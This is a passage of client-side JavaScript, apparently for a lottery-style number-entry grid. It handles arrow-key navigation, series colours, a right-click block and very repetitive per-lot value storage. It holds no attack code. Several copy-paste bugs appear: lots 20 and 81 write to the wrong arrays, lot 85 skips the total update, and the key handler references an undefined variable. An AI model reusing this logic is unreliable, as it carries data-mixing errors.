var x = setInterval(function() {
            showTime();
        }, 1000);

document.onmousedown=disableclick;
        
        
         //number of 'cells' in a row
        var current = 0;
        var next;
     //   document.onkeydown = check;
	 addEventListener("keydown", function(event) {
    if (!e) var e = window.event;
                (e.keyCode) ? key = e.keyCode : key = e.which;
                try{
                   // alert(window.current+"---"+element.tabIndex);
                    switch(key){
                        case 37: next = (parseInt(window.current) - parseInt(1)); break;         //left
                        case 38: next = (parseInt(window.current) - parseInt(10)); break;       //up
                        case 39: next = (parseInt(window.current) + parseInt(1)); break;     //right
                        case 40: next = (parseInt(window.current) + parseInt(10)); break;   //down
                    }	
                    if (key==37||key==38||key==39||key==40){
                        
                      // document.querySelector('[tabindex="'+next+'"]').focus();
					 document.getElementById(next).focus();
                       window.current = next;
                    }       
                }catch(Exception){}
  });
        function check(e){
            if (!e) var e = window.event;
                (e.keyCode) ? key = e.keyCode : key = e.which;
                try{
                   // alert(window.current+"---"+element.tabIndex);
                    switch(key){
                        case 37: next = (parseInt(window.current) - parseInt(1)); break;         //left
                        case 38: next = (parseInt(window.current) - parseInt(10)); break;       //up
                        case 39: next = (parseInt(window.current) + parseInt(1)); break;     //right
                        case 40: next = (parseInt(window.current) + parseInt(10)); break;   //down
                    }
                    if (key==37||key==38||key==39||key==40){
                        
                     //  document.querySelector('[tabIndex="'+next+'"]').focus();
					 document.getElementById(next).focus();
                       window.current = next;
                    }       
                }catch(Exception){}
        }
        
        function disableclick(event)
        {
          //  alert(event.button);
          if(event.button==2)
           {
             return false;    
           }
        }
        function showSeriesCaptionColor(series){
			var color = '';
			if(series == '00'){
				color = '#f9a98e'
			}else if(series == '01'){
				color = '#71f4c3'
			}else if(series == '02'){
				color = '#ffda6c'
			}else if(series == '03'){
				color = '#a7daf9'
			}else if(series == '04'){
				color = '#9afb8d'
			}else if(series == '05'){
				color = '#eeb3ff'
			}else if(series == '06'){
				color = '#dddbdd'
			}else if(series == '07'){
				color = '#7bbed9'
			}else if(series == '08'){
				color = '#f7de5d'
			}else if(series == '09'){
				color = '#fba769'
			}
			for(i=0;i<=99;i++){
				document.getElementById('p'+i).style.backgroundColor = color ;
			}
		}
		var hideSeries = 0000;
		var hideLotNum = 0;
		
		var seriesArr = new Array();
		// sernum start here
		seriesArr[0] = new Array();
		seriesArr[1] = new Array(); 
		seriesArr[2] = new Array();
		seriesArr[3] = new Array();
		seriesArr[4] = new Array();
		seriesArr[5] = new Array();
		seriesArr[6] = new Array();
		seriesArr[7] = new Array();
		seriesArr[8] = new Array();
		seriesArr[9] = new Array();
		seriesArr[10] = new Array();
		seriesArr[11] = new Array();
		seriesArr[12] = new Array();
		seriesArr[13] = new Array();
		seriesArr[14] = new Array();
		seriesArr[15] = new Array();
		seriesArr[16] = new Array();
		seriesArr[17] = new Array();
		seriesArr[18] = new Array();
		seriesArr[19] = new Array();
		seriesArr[20] = new Array();
		seriesArr[21] = new Array();
		seriesArr[22] = new Array();
		seriesArr[23] = new Array();
		seriesArr[24] = new Array();
		seriesArr[25] = new Array();
		seriesArr[26] = new Array();
		seriesArr[27] = new Array();
		seriesArr[28] = new Array();
		seriesArr[29] = new Array();
		seriesArr[30] = new Array();
		seriesArr[31] = new Array();
		seriesArr[32] = new Array();
		seriesArr[33] = new Array();
		seriesArr[34] = new Array();
		seriesArr[35] = new Array();
		seriesArr[36] = new Array();
		seriesArr[37] = new Array();
		seriesArr[38] = new Array();
		seriesArr[39] = new Array();
		seriesArr[40] = new Array();
		seriesArr[41] = new Array();
		seriesArr[42] = new Array();
		seriesArr[43] = new Array();
		seriesArr[44] = new Array();
		seriesArr[45] = new Array();
		seriesArr[46] = new Array();
		seriesArr[47] = new Array();
		seriesArr[48] = new Array();
		seriesArr[49] = new Array();
		seriesArr[50] = new Array();
		seriesArr[51] = new Array();
		seriesArr[52] = new Array();
		seriesArr[53] = new Array();
		seriesArr[54] = new Array();
		seriesArr[55] = new Array();
		seriesArr[56] = new Array();
		seriesArr[57] = new Array();
		seriesArr[58] = new Array();
		seriesArr[59] = new Array();
		seriesArr[60] = new Array();
		seriesArr[61] = new Array();
		seriesArr[62] = new Array();
		seriesArr[63] = new Array();
		seriesArr[64] = new Array();
		seriesArr[65] = new Array();
		seriesArr[66] = new Array();
		seriesArr[67] = new Array();
		seriesArr[68] = new Array();
		seriesArr[69] = new Array();
		seriesArr[70] = new Array();
		seriesArr[71] = new Array();
		seriesArr[72] = new Array();
		seriesArr[73] = new Array();
		seriesArr[74] = new Array();
		seriesArr[75] = new Array();
		seriesArr[76] = new Array();
		seriesArr[77] = new Array();
		seriesArr[78] = new Array();
		seriesArr[79] = new Array();
		seriesArr[80] = new Array();
		seriesArr[81] = new Array();
		seriesArr[82] = new Array();
		seriesArr[83] = new Array();
		seriesArr[84] = new Array();
		seriesArr[85] = new Array();
		seriesArr[86] = new Array();
		seriesArr[87] = new Array();
		seriesArr[88] = new Array();
		seriesArr[89] = new Array();
		seriesArr[90] = new Array();
		seriesArr[91] = new Array();
		seriesArr[92] = new Array();
		seriesArr[93] = new Array();
		seriesArr[94] = new Array();
		seriesArr[95] = new Array();
		seriesArr[96] = new Array();
		seriesArr[97] = new Array();
		seriesArr[98] = new Array();
		seriesArr[99] = new Array();
		
		
		
		
		var qty1 = 0;
		var qty2 = 0;
		var qty3 = 0;
		var qty4 = 0;
		var qty5 = 0;
		var qty6 = 0;
		var qty7 = 0;
		var qty8 = 0;
		var qty9 = 0;
		var qty10 = 0;
		var point1 = 0;
		var point2 = 0;
		var point3 = 0;
		var point4 = 0;
		var point5 = 0;
		var point6 = 0;
		var point7 = 0;
		var point8 = 0;
		var point9 = 0;
		var point10 = 0;
		function setValue(control){
			
			if(window.hideSeries == 0){
					if(window.hideLotNum == 0){
						if(control.value){
							window.seriesArr[0][control.id]=(control.value);
							setTotalValue();
						}else{
							
							if(typeof  window.seriesArr[0][control.id] !='undefined'){
								window.seriesArr[0][control.id] = '';
								setTotalValue();
								
							}
							
							
						}
						
						//alert(window.seriesArr[0][control.id].length);
					}else if(window.hideLotNum == 1){
						if(control.value){
							window.seriesArr[1][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[1][control.id] !='undefined'){
								window.seriesArr[1][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 2){
						if(control.value){
							window.seriesArr[2][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[2][control.id] !='undefined'){
								window.seriesArr[2][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 3){
						if(control.value){
							window.seriesArr[3][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[3][control.id] !='undefined'){
								window.seriesArr[3][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 4){
						if(control.value){
							window.seriesArr[4][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[4][control.id] !='undefined'){
								window.seriesArr[4][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 5){
						if(control.value){
							window.seriesArr[5][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[5][control.id] !='undefined'){
								window.seriesArr[5][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 6){
						if(control.value){
							window.seriesArr[6][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[6][control.id] !='undefined'){
								window.seriesArr[6][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 7){
						if(control.value){
							window.seriesArr[7][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[7][control.id] !='undefined'){
								window.seriesArr[7][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 8){
						if(control.value){
							window.seriesArr[8][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[8][control.id] !='undefined'){
								window.seriesArr[8][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 9){
						if(control.value){
							window.seriesArr[9][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[9][control.id] !='undefined'){
								window.seriesArr[9][control.id] = '';
								setTotalValue();
							}
						}
					}
			}
			// 1000 series start here
			if(window.hideSeries == 1000){
					if(window.hideLotNum == 10){
						if(control.value){
							window.seriesArr[10][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[10][control.id] !='undefined'){
								window.seriesArr[10][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 11){
						if(control.value){
							window.seriesArr[11][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[11][control.id] !='undefined'){
								window.seriesArr[11][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 12){
						if(control.value){
							window.seriesArr[12][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[12][control.id] !='undefined'){
								window.seriesArr[12][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 13){
						if(control.value){
							window.seriesArr[13][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[13][control.id] !='undefined'){
								window.seriesArr[13][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 14){
						if(control.value){
							window.seriesArr[14][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[14][control.id] !='undefined'){
								window.seriesArr[14][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 15){
						if(control.value){
							window.seriesArr[15][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[15][control.id] !='undefined'){
								window.seriesArr[15][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 16){
						if(control.value){
							window.seriesArr[16][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[16][control.id] !='undefined'){
								window.seriesArr[16][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 17){
						if(control.value){
							window.seriesArr[17][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[17][control.id] !='undefined'){
								window.seriesArr[17][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 18){
						if(control.value){
							window.seriesArr[18][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[18][control.id] !='undefined'){
								window.seriesArr[18][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 19){
						if(control.value){
							window.seriesArr[19][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[19][control.id] !='undefined'){
								window.seriesArr[19][control.id] = '';
								setTotalValue();
							}
						}
					}
			}
			// 1000 series end here
			
			//2000 series start here
			if(window.hideSeries == 2000){
					if(window.hideLotNum == 20){
						if(control.value){
							window.seriesArr[0][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[20][control.id] !='undefined'){
								window.seriesArr[20][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 21){
						if(control.value){
							window.seriesArr[21][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[21][control.id] !='undefined'){
								window.seriesArr[21][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 22){
						if(control.value){
							window.seriesArr[22][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[22][control.id] !='undefined'){
								window.seriesArr[22][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 23){
						if(control.value){
							window.seriesArr[23][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[23][control.id] !='undefined'){
								window.seriesArr[23][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 24){
						if(control.value){
							window.seriesArr[24][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[24][control.id] !='undefined'){
								window.seriesArr[24][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 25){
						if(control.value){
							window.seriesArr[25][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[25][control.id] !='undefined'){
								window.seriesArr[25][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 26){
						if(control.value){
							window.seriesArr[26][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[26][control.id] !='undefined'){
								window.seriesArr[26][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 27){
						if(control.value){
							window.seriesArr[27][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[27][control.id] !='undefined'){
								window.seriesArr[27][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 28){
						if(control.value){
							window.seriesArr[28][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[28][control.id] !='undefined'){
								window.seriesArr[28][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 29){
						if(control.value){
							window.seriesArr[29][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[29][control.id] !='undefined'){
								window.seriesArr[29][control.id] = '';
								setTotalValue();
							}
						}
					}
			}
			//2000 series end here
			
			//3000 series start here
			if(window.hideSeries == 3000){
					if(window.hideLotNum == 30){
						if(control.value){
							window.seriesArr[30][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[30][control.id] !='undefined'){
								window.seriesArr[30][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 31){
						if(control.value){
							window.seriesArr[31][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[31][control.id] !='undefined'){
								window.seriesArr[31][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 32){
						if(control.value){
							window.seriesArr[32][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[32][control.id] !='undefined'){
								window.seriesArr[32][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 33){
						if(control.value){
							window.seriesArr[33][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[33][control.id] !='undefined'){
								window.seriesArr[33][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 34){
						if(control.value){
							window.seriesArr[34][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[34][control.id] !='undefined'){
								window.seriesArr[34][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 35){
						if(control.value){
							window.seriesArr[35][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[35][control.id] !='undefined'){
								window.seriesArr[35][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 36){
						if(control.value){
							window.seriesArr[36][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[36][control.id] !='undefined'){
								window.seriesArr[36][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 37){
						if(control.value){
							window.seriesArr[37][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[37][control.id] !='undefined'){
								window.seriesArr[37][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 38){
						if(control.value){
							window.seriesArr[38][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[38][control.id] !='undefined'){
								window.seriesArr[38][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 39){
						if(control.value){
							window.seriesArr[39][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[39][control.id] !='undefined'){
								window.seriesArr[39][control.id] = '';
								setTotalValue();
							}
						}
					}
			}
			//3000 seroes end here
			//4000 series start here
			if(window.hideSeries == 4000){
					if(window.hideLotNum == 40){
						if(control.value){
							window.seriesArr[40][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[40][control.id] !='undefined'){
								window.seriesArr[40][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 41){
						if(control.value){
							window.seriesArr[41][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[41][control.id] !='undefined'){
								window.seriesArr[41][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 42){
						if(control.value){
							window.seriesArr[42][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[42][control.id] !='undefined'){
								window.seriesArr[42][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 43){
						if(control.value){
							window.seriesArr[43][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[43][control.id] !='undefined'){
								window.seriesArr[43][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 44){
						if(control.value){
							window.seriesArr[44][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[44][control.id] !='undefined'){
								window.seriesArr[44][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 45){
						if(control.value){
							window.seriesArr[45][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[45][control.id] !='undefined'){
								window.seriesArr[45][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 46){
						if(control.value){
							window.seriesArr[46][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[46][control.id] !='undefined'){
								window.seriesArr[46][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 47){
						if(control.value){
							window.seriesArr[47][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[47][control.id] !='undefined'){
								window.seriesArr[47][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 48){
						if(control.value){
							window.seriesArr[48][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[48][control.id] !='undefined'){
								window.seriesArr[48][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 49){
						if(control.value){
							window.seriesArr[49][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[49][control.id] !='undefined'){
								window.seriesArr[49][control.id] = '';
								setTotalValue();
							}
						}
					}
			}
			//4000 series start here
			//5000
			if(window.hideSeries == 5000){
					if(window.hideLotNum == 50){
						if(control.value){
							window.seriesArr[50][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[50][control.id] !='undefined'){
								window.seriesArr[50][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 51){
						if(control.value){
							window.seriesArr[51][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[51][control.id] !='undefined'){
								window.seriesArr[51][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 52){
						if(control.value){
							window.seriesArr[52][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[52][control.id] !='undefined'){
								window.seriesArr[52][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 53){
						if(control.value){
							window.seriesArr[53][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[53][control.id] !='undefined'){
								window.seriesArr[53][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 54){
						if(control.value){
							window.seriesArr[54][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[54][control.id] !='undefined'){
								window.seriesArr[54][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 55){
						if(control.value){
							window.seriesArr[55][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[55][control.id] !='undefined'){
								window.seriesArr[55][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 56){
						if(control.value){
							window.seriesArr[56][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[56][control.id] !='undefined'){
								window.seriesArr[56][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 57){
						if(control.value){
							window.seriesArr[57][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[57][control.id] !='undefined'){
								window.seriesArr[57][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 58){
						if(control.value){
							window.seriesArr[58][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[58][control.id] !='undefined'){
								window.seriesArr[58][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 59){
						if(control.value){
							window.seriesArr[59][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[59][control.id] !='undefined'){
								window.seriesArr[59][control.id] = '';
								setTotalValue();
							}
						}
					}
			}
			//50000
			
			//6000 start here
			if(window.hideSeries == 6000){
					if(window.hideLotNum == 60){
						if(control.value){
							window.seriesArr[60][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[60][control.id] !='undefined'){
								window.seriesArr[60][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 61){
						if(control.value){
							window.seriesArr[61][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[61][control.id] !='undefined'){
								window.seriesArr[61][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 62){
						if(control.value){
							window.seriesArr[62][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[62][control.id] !='undefined'){
								window.seriesArr[62][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 63){
						if(control.value){
							window.seriesArr[63][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[63][control.id] !='undefined'){
								window.seriesArr[63][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 64){
						if(control.value){
							window.seriesArr[64][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[64][control.id] !='undefined'){
								window.seriesArr[64][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 65){
						if(control.value){
							window.seriesArr[65][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[65][control.id] !='undefined'){
								window.seriesArr[65][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 66){
						if(control.value){
							window.seriesArr[66][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[66][control.id] !='undefined'){
								window.seriesArr[66][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 67){
						if(control.value){
							window.seriesArr[67][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[67][control.id] !='undefined'){
								window.seriesArr[67][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 68){
						if(control.value){
							window.seriesArr[68][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[68][control.id] !='undefined'){
								window.seriesArr[68][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 69){
						if(control.value){
							window.seriesArr[69][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[69][control.id] !='undefined'){
								window.seriesArr[69][control.id] = '';
								setTotalValue();
							}
						}
					}
			}
			//6000 end here
			
			//7000 start here
			if(window.hideSeries == 7000){
					if(window.hideLotNum == 70){
						if(control.value){
							window.seriesArr[70][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[70][control.id] !='undefined'){
								window.seriesArr[70][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 71){
						if(control.value){
							window.seriesArr[71][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[71][control.id] !='undefined'){
								window.seriesArr[71][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 72){
						if(control.value){
							window.seriesArr[72][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[72][control.id] !='undefined'){
								window.seriesArr[72][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 73){
						if(control.value){
							window.seriesArr[73][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[73][control.id] !='undefined'){
								window.seriesArr[73][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 74){
						if(control.value){
							window.seriesArr[74][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[74][control.id] !='undefined'){
								window.seriesArr[74][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 75){
						if(control.value){
							window.seriesArr[75][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[75][control.id] !='undefined'){
								window.seriesArr[75][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 76){
						if(control.value){
							window.seriesArr[76][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[76][control.id] !='undefined'){
								window.seriesArr[76][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 77){
						if(control.value){
							window.seriesArr[77][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[77][control.id] !='undefined'){
								window.seriesArr[77][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 78){
						if(control.value){
							window.seriesArr[78][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[78][control.id] !='undefined'){
								window.seriesArr[78][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 79){
						if(control.value){
							window.seriesArr[79][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[79][control.id] !='undefined'){
								window.seriesArr[79][control.id] = '';
								setTotalValue();
							}
						}
					}
			}
			//7000 end here
			//series 8000 start here
			if(window.hideSeries == 8000){
					if(window.hideLotNum == 80){
						if(control.value){
							window.seriesArr[80][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[80][control.id] !='undefined'){
								window.seriesArr[80][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 81){
						if(control.value){
							window.seriesArr[1][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[81][control.id] !='undefined'){
								window.seriesArr[81][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 82){
						if(control.value){
							window.seriesArr[82][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[82][control.id] !='undefined'){
								window.seriesArr[82][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 83){
						if(control.value){
							window.seriesArr[83][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[83][control.id] !='undefined'){
								window.seriesArr[83][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 84){
						if(control.value){
							window.seriesArr[84][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[84][control.id] !='undefined'){
								window.seriesArr[84][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 85){
						if(control.value){
							window.seriesArr[85][control.id]=(control.value);
						}else{
							if(typeof  window.seriesArr[85][control.id] !='undefined'){
								window.seriesArr[85][control.id] = '';
							}
						}
					}else if(window.hideLotNum == 86){
						if(control.value){
							window.seriesArr[86][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[86][control.id] !='undefined'){
								window.seriesArr[86][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 87){
						if(control.value){
							window.seriesArr[87][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[87][control.id] !='undefined'){
								window.seriesArr[87][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 88){
						if(control.value){
							window.seriesArr[88][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[88][control.id] !='undefined'){
								window.seriesArr[88][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 89){
						if(control.value){
							window.seriesArr[89][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[89][control.id] !='undefined'){
								window.seriesArr[89][control.id] = '';
								setTotalValue();
							}
						}
					}
			}
			//series 8000 end here
			
			//series 9000 start here
			if(window.hideSeries == 9000){
					if(window.hideLotNum == 90){
						if(control.value){
							window.seriesArr[90][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[90][control.id] !='undefined'){
								window.seriesArr[90][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 91){
						if(control.value){
							window.seriesArr[91][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[91][control.id] !='undefined'){
								window.seriesArr[91][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 92){
						if(control.value){
							window.seriesArr[92][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[92][control.id] !='undefined'){
								window.seriesArr[92][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 93){
						if(control.value){
							window.seriesArr[93][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[93][control.id] !='undefined'){
								window.seriesArr[93][control.id] = '';
								setTotalValue();
							}
						}
